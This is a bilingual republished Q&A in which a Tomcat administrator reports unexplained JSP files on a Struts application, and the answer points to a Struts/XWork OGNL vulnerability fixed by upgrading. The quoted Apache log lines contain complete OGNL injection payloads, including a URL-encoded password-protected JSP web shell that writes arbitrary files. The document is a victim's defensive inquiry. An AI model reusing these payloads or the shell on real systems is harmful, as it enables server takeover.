Java / Tomcat被黑了 [英] Java/Tomcat hacked

问题描述

我最近在我的tomcat服务器上显示了一些文件显然是黑客企图。我支持使用struts和ibatis以及其他各种框架的旧应用程序。在实际的webapp目录下创建了三个文件，一个是system1.jsp，所以像 tomcat / webapps / ROOT / system1.jsp ，然后在< c>下创建了另外两个文件。 code> tomcat / webapps / system2.jsp 和 tomcat / webapps / system3.jsp 。

I have had a few files show up on my tomcat server lately that are obviously hacker attempts. I support an older application that uses struts and ibatis along with various other frameworks. Three files were created, a system1.jsp under the actual webapp directory, so like tomcat/webapps/ROOT/system1.jsp, and then two other files that were created under tomcat/webapps/system2.jsp and tomcat/webapps/system3.jsp.

这些文件的内容很奇怪，看起来它试图创建一个用户帐户，这看起来像是一个长镜头。 struts的设置方式无论如何都无法实际到达那些jsp文件，让我担心的是他们能够创建这些文件的事实。我怎样才能防止这种情况发生？

The content of these files strange, it looks like its trying to create a user account, which would seem like a long shot. The way struts was set up there is no way they would actually reach those jsp files anyways, what makes me worry is the fact that they were able to create these files at all. How can I prevent this from happening?

这是来自hack的apache日志，以及代码的其余部分，

Here is the apache log from the hack, as well as the rest of the code,

198.211.11.202 - - [28/Apr/2013:02:05:34 -0500] "GET request!start.do?
('\\u0023_memberAccess[\\'allowStaticMethodAccess\\']')(meh)=true&(aaa)
(('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003d\\u0023foo')(\\u0023foo\\u003dnew%20java.lang.Boolean(%22false%22)))&(i1)(('\\43req\\[e-mail]@getRequest()')(d))&(i12)(('\\43xman\\[e-mail]@getResponse()')(d))&(i13)(('\\43xman.getWriter().println(\\43req.getServletContext().getRealPath(%22\\u005c%22))')(d))&(i2)(('\\43fos\\75new\\40java.io.FileOutputStream(new\\40java.lang.StringBuilder(\\43req.getRealPath(%22\\u005c%22)).append(@java.io.File@separator).append(%22system1.jsp%22).toString())')(d))&(i3)(('\\43fos.write(\\43req.getParameter(%22t%22).getBytes())')(d))&(i4)(('\\43fos.close()')(d))&t=%3C%25%40page+contentType%3D%22text%2Fhtml%3B+charset%3DGBK%22+import%3D%22java.io.*%3B%22%25%3E%0A%3C%25%21private+String+password%3D%22hehe%22%3B%2F%2F%E6%B7%87%EE%86%BD%E6%95%BC%E7%80%B5%E5%97%99%E7%88%9C%25%3E%0A%3Chtml%3E%0A%3Chead%3E%0A%3Ctitle%3Ehahahaha%3C%2Ftitle%3E%0A%3C%2Fhead%3E%0A%3Cbody+bgcolor%3D%22%23ffffff%22%3E%0A%3C%25%0AString+act%3D%22%22%3B%0AString+path%3Drequest.getParameter%28%22path%22%29%3B%0AString+content%3Drequest.getParameter%28%22content%22%29%3B%0AString+url%3Drequest.getRequestURI%28%29%3B%0AString+url2%3Drequest.getRealPath%28request.getServletPath%28%29%29%3B%0Atry%0A%7Bact%3Drequest.getParameter%28%22act%22%29.toString%28%29%3B%7D%0Acatch%28Exception+e%29%7B%7D%0Aif%28request.getSession%28%29.getAttribute%28%22hehe%22%29%21%3Dnull%29%0A%7B%0Aif%28request.getSession%28%29.getAttribute%28%22hehe%22%29.toString%28%29.equals%28%22hehe%22%29%29%0A%7B%0Aif+%28path%21%3Dnull+%26%26+%21path.equals%28%22%22%29+%26%26+content%21%3Dnull+%26%26+%21content.equals%28%22%22%29%29%0A%7B%0A+++try%7B%0A+++++File+newfile%3Dnew+File%28path%29%3B%0A+++++PrintWriter+writer%3Dnew+PrintWriter%28newfile%29%3B%0A+++++writer.println%28content%29%3B%0A+++++writer.close%28%29%3B%0A+++++if+%28newfile.exists%28%29+%26%26+newfile.length%28%29%3E0%29%0A+++++%7B%0A+++++++out.println%28%22%3Cfont+size%3D3+color%3Dred%3Esave+ok%21%3C%2Ffont%3E%22%29%3B%0A+++++%7Delse%7B%0A+++++++out.println%28%22%3Cfont+size%3D3+color%3Dred%3Esave+erry%21%3C%2Ffont%3E%22%29%3B%0A+++++%7D%0A+++%7Dcatch%28Exception+e%29%0A+++%7B%0A+++++e.printStackTrace%28%29%3B%0A+++%7D%0A%7D%0Aout.println%28%22%3Cform+action%3D%22%2Burl%2B%22+method%3Dpost%3E%22%29%3B%0Aout.println%28%22%3Cfont+size%3D3%3E%3Cbr%3E%3C%2Ffont%3E%3Cinput+type%3Dtext+size%3D54+name%3D%27path%27%3E%3Cbr%3E%22%29%3B%0Aout.println%28%22%3Cfont+size%3D3+color%3Dred%3E%22%2Burl2%2B%22%3C%2Ffont%3E%3Cbr%3E%22%29%3B%0Aout.println%28%22%3Ctextarea+name%3D%27content%27+rows%3D15+cols%3D50%3E%3C%2Ftextarea%3E%3Cbr%3E%22%29%3B%0Aout.println%28%22%3Cinput+type%3D%27submit%27+value%3D%27save%21%27%3E%22%29%3B%0Aout.println%28%22%3C%2Fform%3E%22%29%3B%0A%7D%0A%7Delse%7B%0Aout.println%28%22%3Cdiv+align%3D%27center%27%3E%3Cform+action%3D%27%3Fact%3Dlogin%27+method%3D%27post%27%3E%22%29%3B%0Aout.println%28%22%3Cinput+type%3D%27password%27+name%3D%27pass%27%2F%3E%22%29%3B%0Aout.println%28%22%3Cinput+type%3D%27submit%27+name%3D%27update%27+class%3D%27unnamed1%27+value%3D%27Login%27+%2F%3E%22%29%3B%0Aout.println%28%22%3C%2Fform%3E%3C%2Fdiv%3E%22%29%3B%0A%7Dif%28act.equals%28%22login%22%29%29%0A%7B%0A++++String+pass%3Drequest.getParameter%28%22pass%22%29%3B%0A++++if%28pass.equals%28password%29%29%0A++++%7B%0A+++++session.setAttribute%28%22hehe%22%2C%22hehe%22%29%3B%0A+++++String+uri%3Drequest.getRequestURI%28%29%3B+++%0A+++++uri%3Duri.substring%28uri.lastIndexOf%28%22%2F%22%29%2B1%29%3B+%0A++++response.sendRedirect%28uri%29%3B%0A++++%7Delse%0A++++%7B%0Aout.println%28%22Error%22%29%3B%0Aout.println%28%22%3Ca+href%3D%27javascript%3Ahistory.go%28-1%29%27%3E%3Cfont+color%3D%27red%27%3Ego+back%3C%2Ffont%3E%3C%2Fa%3E%3C%2Fdiv%3E%3Cbr%3E%22%29%3B%0A++++%7D%0A++++%7D%0A%25%3E%0A%3C%2Fbody%3E%0A%3C%2Fhtml%3E HTTP/1.1" 200 12387
198.211.11.202 - - [28/Apr/2013:02:05:35 -0500] "GET /request!start.do?('\\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\\43context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75false')(b))&('\\43c')(('\\43_memberAccess.excludeProperties\\[e-mail]@EMPTY_SET')(c))&(g)(('\\43req\\[e-mail]@getRequest()')(d))&(i2)(('\\43xman\\[e-mail]@getResponse()')(d))&(i2)(('\\43xman\\[e-mail]@getResponse()')(d))&(i95)(('\\43xman.getWriter().println(\\43req.getRealPath(%22\\u005c%22))')(d))&(i99)(('\\43xman.getWriter().close()')(d)) HTTP/1.1" 200 29
198.211.11.202 - - [28/Apr/2013:02:05:35 -0500] "GET /request!start.do?('\\u0023_memberAccess[\\'allowStaticMethodAccess\\']')(meh)=true&(aaa)(('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003d\\u0023foo')(\\u0023foo\\u003dnew%20java.lang.Boolean(%22false%22)))&(i1)(('\\43req\\[e-mail]@getRequest()')(d))&(i2)(('\\43fos\\75new\\40java.io.FileOutputStream(\\43req.getParameter(%22path%22))')(d))&(i3)(('\\43fos.write(\\43req.getParameter(%22t%22).getBytes())')(d))&(i4)(('\\43fos.close()')(d))&t=%3C%25%40page+contentType%3D%22text%2Fhtml%3B+charset%3DGBK%22+import%3D%22java.io.*%3B%22%25%3E%0A%3C%25%21private+String+password%3D%22hehe%22%3B%2F%2F%E6%B7%87%EE%86%BD%E6%95%BC%E7%80%B5%E5%97%99%E7%88%9C%25%3E%0A%3Chtml%3E%0A%3Chead%3E%0A%3Ctitle%3Ehahahaha%3C%2Ftitle%3E%0A%3C%2Fhead%3E%0A%3Cbody+bgcolor%3D%22%23ffffff%22%3E%0A%3C%25%0AString+act%3D%22%22%3B%0AString+path%3Drequest.getParameter%28%22path%22%29%3B%0AString+content%3Drequest.getParameter%28%22content%22%29%3B%0AString+url%3Drequest.getRequestURI%28%29%3B%0AString+url2%3Drequest.getRealPath%28request.getServletPath%28%29%29%3B%0Atry%0A%7Bact%3Drequest.getParameter%28%22act%22%29.toString%28%29%3B%7D%0Acatch%28Exception+e%29%7B%7D%0Aif%28request.getSession%28%29.getAttribute%28%22hehe%22%29%21%3Dnull%29%0A%7B%0Aif%28request.getSession%28%29.getAttribute%28%22hehe%22%29.toString%28%29.equals%28%22hehe%22%29%29%0A%7B%0Aif+%28path%21%3Dnull+%26%26+%21path.equals%28%22%22%29+%26%26+content%21%3Dnull+%26%26+%21content.equals%28%22%22%29%29%0A%7B%0A+++try%7B%0A+++++File+newfile%3Dnew+File%28path%29%3B%0A+++++PrintWriter+writer%3Dnew+PrintWriter%28newfile%29%3B%0A+++++writer.println%28content%29%3B%0A+++++writer.close%28%29%3B%0A+++++if+%28newfile.exists%28%29+%26%26+newfile.length%28%29%3E0%29%0A+++++%7B%0A+++++++out.println%28%22%3Cfont+size%3D3+color%3Dred%3Esave+ok%21%3C%2Ffont%3E%22%29%3B%0A+++++%7Delse%7B%0A+++++++out.println%28%22%3Cfont+size%3D3+color%3Dred%3Esave+erry%21%3C%2Ffont%3E%22%29%3B%0A+++++%7D%0A+++%7Dcatch%28Exception+e%29%0A+++%7B%0A+++++e.printStackTrace%28%29%3B%0A+++%7D%0A%7D%0Aout.println%28%22%3Cform+action%3D%22%2Burl%2B%22+method%3Dpost%3E%22%29%3B%0Aout.println%28%22%3Cfont+size%3D3%3E%3Cbr%3E%3C%2Ffont%3E%3Cinput+type%3Dtext+size%3D54+name%3D%27path%27%3E%3Cbr%3E%22%29%3B%0Aout.println%28%22%3Cfont+size%3D3+color%3Dred%3E%22%2Burl2%2B%22%3C%2Ffont%3E%3Cbr%3E%22%29%3B%0Aout.println%28%22%3Ctextarea+name%3D%27content%27+rows%3D15+cols%3D50%3E%3C%2Ftextarea%3E%3Cbr%3E%22%29%3B%0Aout.println%28%22%3Cinput+type%3D%27submit%27+value%3D%27save%21%27%3E%22%29%3B%0Aout.println%28%22%3C%2Fform%3E%22%29%3B%0A%7D%0A%7Delse%7B%0Aout.println%28%22%3Cdiv+align%3D%27center%27%3E%3Cform+action%3D%27%3Fact%3Dlogin%27+method%3D%27post%27%3E%22%29%3B%0Aout.println%28%22%3Cinput+type%3D%27password%27+name%3D%27pass%27%2F%3E%22%29%3B%0Aout.println%28%22%3Cinput+type%3D%27submit%27+name%3D%27update%27+class%3D%27unnamed1%27+value%3D%27Login%27+%2F%3E%22%29%3B%0Aout.println%28%22%3C%2Fform%3E%3C%2Fdiv%3E%22%29%3B%0A%7Dif%28act.equals%28%22login%22%29%29%0A%7B%0A++++String+pass%3Drequest.getParameter%28%22pass%22%29%3B%0A++++if%28pass.equals%28password%29%29%0A++++%7B%0A+++++session.setAttribute%28%22hehe%22%2C%22hehe%22%29%3B%0A+++++String+uri%3Drequest.getRequestURI%28%29%3B+++%0A+++++uri%3Duri.substring%28uri.lastIndexOf%28%22%2F%22%29%2B1%29%3B+%0A++++response.sendRedirect%28uri%29%3B%0A++++%7Delse%0A++++%7B%0Aout.println%28%22Error%22%29%3B%0Aout.println%28%22%3Ca+href%3D%27javascript%3Ahistory.go%28-1%29%27%3E%3Cfont+color%3D%27red%27%3Ego+back%3C%2Ffont%3E%3C%2Fa%3E%3C%2Fdiv%3E%3Cbr%3E%22%29%3B%0A++++%7D%0A++++%7D%0A%25%3E%0A%3C%2Fbody%3E%0A%3C%2Fhtml%3E&path=/opt/tomcat/webapp/ROOT/system2.jsp HTTP/1.1" 200 12387

推荐答案

我相信此处列出的漏洞与您的密切相关看：
http://www.exploit-db.com/exploits/14360/

I believe the vulnerability listed here matches quite closely what you are seeing: http://www.exploit-db.com/exploits/14360/

因此，Struts / XWork框架似乎存在问题，您应该考虑将其升级到更新版本。此特定漏洞报告称版本2.2.0修复了此问题。

So it seems to be a problem with the Struts/XWork framework and you should look into upgrading that to a newer version. This specific vulnerability reports says that version 2.2.0 fixes this problem.

这篇关于Java / Tomcat被黑了的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持IT屋！